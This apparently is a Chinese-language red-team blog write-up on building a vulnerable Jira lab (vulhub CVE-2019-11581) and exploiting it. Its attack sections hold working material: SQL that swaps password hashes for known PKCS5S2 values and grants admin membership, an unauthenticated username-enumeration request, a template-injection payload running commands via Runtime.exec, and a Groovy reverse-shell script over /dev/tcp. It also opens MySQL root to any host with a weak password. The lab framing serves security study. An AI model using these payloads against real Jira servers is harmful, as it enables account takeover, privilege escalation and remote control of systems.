欢迎光临
我们一直在努力

记一次Jira的搭建和相关利用

Author:əhead@深蓝攻防实验室

前言

Atlassian Jira是一套作为缺陷跟踪管理的系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理,后来慢慢发展为多任务的项目管理软件。

本次主要记录从搭建到利用的过程,就没展开对漏洞的具体分析了。如果有出错的地方,请各位师傅多多指教,仅供参考。

一、环境搭建

1.这里选择在kali作为本次的实验环境,配置更新源按如下命令安装docker及docker-compose即可。

curl -fsSL http://mirrors.zju.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo 'deb http://mirrors.zju.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list

sudo apt-get update

sudo apt-get install docker-ce

sudo apt install docker-compose

2.这里为了方便省时间,我们可以利用vulhub靶场去启用jira的漏洞环境
拉取vulhub

git clone https://github.com/vulhub/vulhub.git

部署并启动jira环境

cd /vulhub/jira/CVE-2019-11581 && docker-compose up -d

开启mysql服务,并进行初始安全配置

service mysql start && mysql_secure_installation


修改配置文件允许mysql远程访问,并设置root用户远程访问

vi /etc/mysql/mariadb.conf.d/50-server.cnf  

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'IDENTIFIED BY '123456' WITH GRANT OPTION;
flush privileges;


创建数据库名为jira并尝试连接,如下

create database jira default character set utf8 collate utf8_general_ci;


3.如果在jira部署配置数据库连接时报错 Could not find driver with class name: com.mysql.jdbc.Driver,这是因为mysql驱动的问题,下载并将驱动拷进lib目录下即可
下载mysql驱动,地址如下:

https://downloads.mysql.com/archives/get/p/3/file/mysql-connector-java-5.1.49.tar.gz

解压并将以bin.jar结尾的文件copy进容器内,如下:

docker cp /home/kali/Desktop/mysql-connector-java-5.1.49/mysql-connector-java-5.1.49-bin.jar 容器id:/opt/atlassian/jira/lib


4.接着可以看到配置mysql并测试连接,显示如下表示成功


5.下一步需在jira官网注册一个账号,然后利用账号申请一个可以试用30天的license,最终完成所有配置,进入系统

二、配置文件及数据库表结构(mysql)

jira的数据库配置文件为dbconfig.xml,可以通过如下路径获取到所使用的数据库明文账号及密码

cat /var/atlassian/application-data/jira/dbconfig.xml


export作为数据备份目录,通过如下路径获取备份文件等

ls /var/atlassian/application-data/jira/export

attachments作为附件存储目录,通过如下路径获取上传的附件文件等

ls /var/atlassian/application-data/jira/data/attachments
下面是数据库里部分表的存储字段
表名 存储内容 关键字段
project 项目主表 ID-项目编号
pname-项目名称
URL-项目链接
LEAD
DESCRIPTION-项目描述
pkey-项目key
pcounter
ASSIGNEETYPE
AVATAR
ORIGINALKEY
PROJECTTYPE-项目类型
project_key 项目key表 ID-项目编号
PROJECT_ID -项目id
PROJECT_KEY-项目key
projectrole 项目角色 ID
NAME
DESCRIPTION
projectroleactor 项目角色关联关系 ID
PID
PROJECTROLEID-项目角色id
ROLETYPE -角色类型
ROLETYPEPARAMETER-具体用户或用户组
jiraissue JIRA的issue ID
pkey
issuenum -和project表pkey字段组合成issue key
PROJECT -关联project表ID
REPORTER -报告人
ASSIGNEE -经办人
CREATOR -创建人
issuetype -关联issuetype表ID
SUMMARY -标题
DESCRIPTION -描述
ENVIRONMENT
PRIORITY -关联priority表ID
RESOLUTION -关联resolution表ID
issuestatus
CREATED -创建时间
UPDATED -更新时间
DUEDATE
RESOLUTIONDATE -解决时间
VOTES
WATCHES
TIMEORIGINALESTIMATE
TIMEESTIMATE
TIMESPENT
WORKFLOW_ID -工作流ID
SECURITY
FIXFOR
COMPONENT
ARCHIVED
ARCHIVEDBY
ARCHIVEDDATE
priority issue优先级 ID
SEQUENCE
pname -优先级名称
DESCRIPTION
ICONURL
STATUS_COLOR
resolution issue解决结果 ID
SEQUENCE
pname -解决结果名称
DESCRIPTION
ICONURL
component 模块表 ID
PROJECT
cname -模块名称
description
URL
LEAD
ASSIGNEETYPE
ARCHIVED
jiraworkflows JIRA的工作流 ID
workflowname -工作流名称
creatorname -创建者
DESCRIPTOR
ISLOCKED -锁定状态
cwd_user 用户表 ID
directory_id
user_name -用户名
lower_user_name
active
created_date
updated_date
first_name
lower_first_name
last_name
lower_last_name
display_name
lower_display_name
email_address
lower_email_address
CREDENTIAL -加密后的用户密码
deleted_externally
EXTERNAL_ID
cwd_membership 用户所属成员组表 ID
parent_id
child_id
membership_type
group_type
parent_name -用户权限
lower_parent_name-用户权限
child_name
lower_child_name
directory_id

通过表的存储字段分析,可以替换cwd_user表的CREDENTIAL字段密文登录指定用户(前提密文是以{PKCS5S2}开头的)

//对应密码为Ab123456
{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF

//对应密码为123456
{PKCS5S2}6pm6MWrrixyAFrSbs8oNL53TU3j3GIXRHIIIHtSdKJ8+JkqVrzD8rHjEVPU4CAIE

//更新密码的sql语句
update cwd_user set credential = '{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where user_name="name";


通过修改cwd_membership表的parent_name及lower_parent_name字段值为jira-administrators,可将指定用户提升至管理员权限


查询指定项目的所有用户

SELECT p.id AS project_id, p.pname AS project_name, p.lead AS project_lead, prc.roletypeparameter AS project_roles
FROM project p LEFT OUTER JOIN projectroleactor prc ON prc.pid = p.id
WHERE p.pname = 'Test01';

三、漏洞利用

1.未授权进行用户名枚举
枚举用户名接口

GET /rest/api/2/user/picker?query=zhangsan HTTP/1.1
Host: xx.xx.xx.xx:8080
Connection: close

用户名存在则返回如下信息


用户名不存在则返回如下信息


2.Atlassian Jira 模板注入rce(前提:已开启联系管理员表单)

//访问该链接显示如下信息,则说明没有配置联系管理员,无法触发漏洞

无需管理员权限:http://xx.xx.xx.xx:8080/secure/ContactAdministrators!default.jspa
需要管理员权限:http://xx.xx.xx.xx:8080/secure/admin/SendBulkMail!default.jspa

//访问该链接配置smtp
http://xx.xx.xx.xx:8080/secure/admin/VerifySmtpServerConnection!add.jspa

//访问该链接开启联系管理员表单
http://xx.xx.xx.xx:8080/secure/admin/EditApplicationProperties!default.jspa

//poc
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://xx.xx.xx.xx').waitFor()


ps:进行反弹操作时,由于Runtime.getRuntime().exec()不能执行管道命令的问题,需要将exec内的命令进行base64编码,即可反弹会话,如下


3.利用MyGroovy插件进行getshell

//管理插件接口地址
http://xx.xx.xx.xx:8080/plugins/servlet/upm?source=side_nav_manage_addons
//查看jira对应版本接口地址
http://xx.xx.xx.xx:8080/secure/admin/ViewSystemInfo.jspa


再根据对应的版本信息下载MyGroovy插件(tips:如果版本不对应会出现无法启用该插件的错误)
地址:https://marketplace.atlassian.com/apps/1218755/mygroovy/version-history
这里按照对应版本下载兼容的MyGroovy插件,如下


接着在上传插件处添加MyGroovy插件,如下


安装成功后,进入MyGroovy console执行反弹脚本,如下

def r = Runtime.getRuntime()
def p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

等待片刻 即可收到shell会话,如下

未经允许不得转载:Caldow » 记一次Jira的搭建和相关利用
分享到: 生成海报

切换注册

登录

忘记密码 ?

切换登录

注册

我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活